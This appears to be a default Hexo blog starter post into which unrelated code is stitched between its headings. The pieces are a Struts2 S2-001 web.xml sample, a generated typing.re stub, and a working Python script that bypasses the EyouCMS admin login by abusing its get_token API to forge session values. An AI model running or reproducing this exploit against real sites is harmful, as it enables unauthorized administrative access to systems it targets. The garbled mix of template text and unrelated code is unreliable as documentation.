Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick Start
Create a new post
<web-app>
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
$ hexo new “My New Post”
from time import time,sleep
import requests
import sys
class EyouCMS:
def __init__(self,URL):
self.Req = requests.session()
self.URL = URL
self.SleepTime = 0.5
self.AdminURL = 'login.php?m=admin&c=Admin&a=admin_edit&id=1&lang=cn'
self.Payload = 'index.php/?m=api&c=ajax&a=get_token&name='
self.admin_id = 'admin_id'
self.admin_login_expire = 'admin_login_expire'
self.admin_info_role_id = 'admin_info.role_id'
self.Headers = {
'x-requested-with': 'XMLHttpRequest',
}
def Banner(self):
print("-"*10 + "后台登录绕过" + "-"*10)
def change(self,string):
temp = ''
for n, s in enumerate(string):
if n == 0:
if s.isalpha():
return '0'
break
if s.isdigit():
temp += str(s)
else:
if s.isalpha():
break
return temp
def SetID(self):
res = self.Req.get(self.URL + self.Payload + self.admin_id, headers=self.Headers)
print("admin_id[+]:\t\t\t\t\t" + res.text)
if 'Set-cookie' in res.headers:
print(res.headers['set-cookie'])
if res.status_code != 200:
sys.exit("Api模块请求404")
# print(res.headers)
def SetExpire(self):
while True:
res = self.Req.get(self.URL + self.Payload + self.admin_login_expire, headers=self.Headers)
# print(res.text,end='\t\t\t\t')
# print(self.change(res.text))
if(time()-int(self.change(res.text),10)<3600):
print("admin_login_expire[+]:\t\t\t" + res.text)
# print(res.headers)
break
sleep(self.SleepTime)
def SetRoleID(self):
while True:
res = self.Req.get(self.URL + self.Payload + self.admin_info_role_id, headers=self.Headers)
if(int(self.change(res.text),10)<=0):
print("admin_info.rele_id[+]:\t\t\t" + res.text)
break
sleep(self.SleepTime)
def CheckLogin(self):
res = self.Req.get(self.URL + self.AdminURL, headers=self.Headers)
res.encoding = res.apparent_encoding
if '更换头像' in res.text:
print("OK")
def run(self):
self.SetID()
self.SetExpire()
self.SetRoleID()
self.CheckLogin()
if __name__ == '__main__':
Start = time()
URL = 'http://10.12.246.7:20080/'
e = EyouCMS(URL)
e.run()
End = time()
print(End-Start)
More info: Writing
Run server
$ hexo server
More info: Server
Generate static files
$ hexo generate
More info: Generating
Deploy to remote sites
# encoding: utf-8
# module typing.re
# from (pre-generated)
# by generator 1.147
""" Wrapper namespace for re type aliases. """
# no imports
# functions
def Match(*args, **kwargs): # real signature unknown
"""
The central part of internal API.
This represents a generic version of type 'origin' with type arguments 'params'.
There are two kind of these aliases: user defined and special. The special ones
are wrappers around builtin collections and ABCs in collections.abc. These must
have 'name' always set. If 'inst' is False, then the alias can't be instantiated,
this is used by e.g. typing.List and typing.Dict.
"""
pass
def Pattern(*args, **kwargs): # real signature unknown
"""
The central part of internal API.
This represents a generic version of type 'origin' with type arguments 'params'.
There are two kind of these aliases: user defined and special. The special ones
are wrappers around builtin collections and ABCs in collections.abc. These must
have 'name' always set. If 'inst' is False, then the alias can't be instantiated,
this is used by e.g. typing.List and typing.Dict.
"""
pass
# no classes
# variables with complex values
__all__ = [
'Pattern',
'Match',
]
__weakref__ = None # (!) real value is "<attribute '__weakref__' of 'typing.re' objects>"
More info: Deployment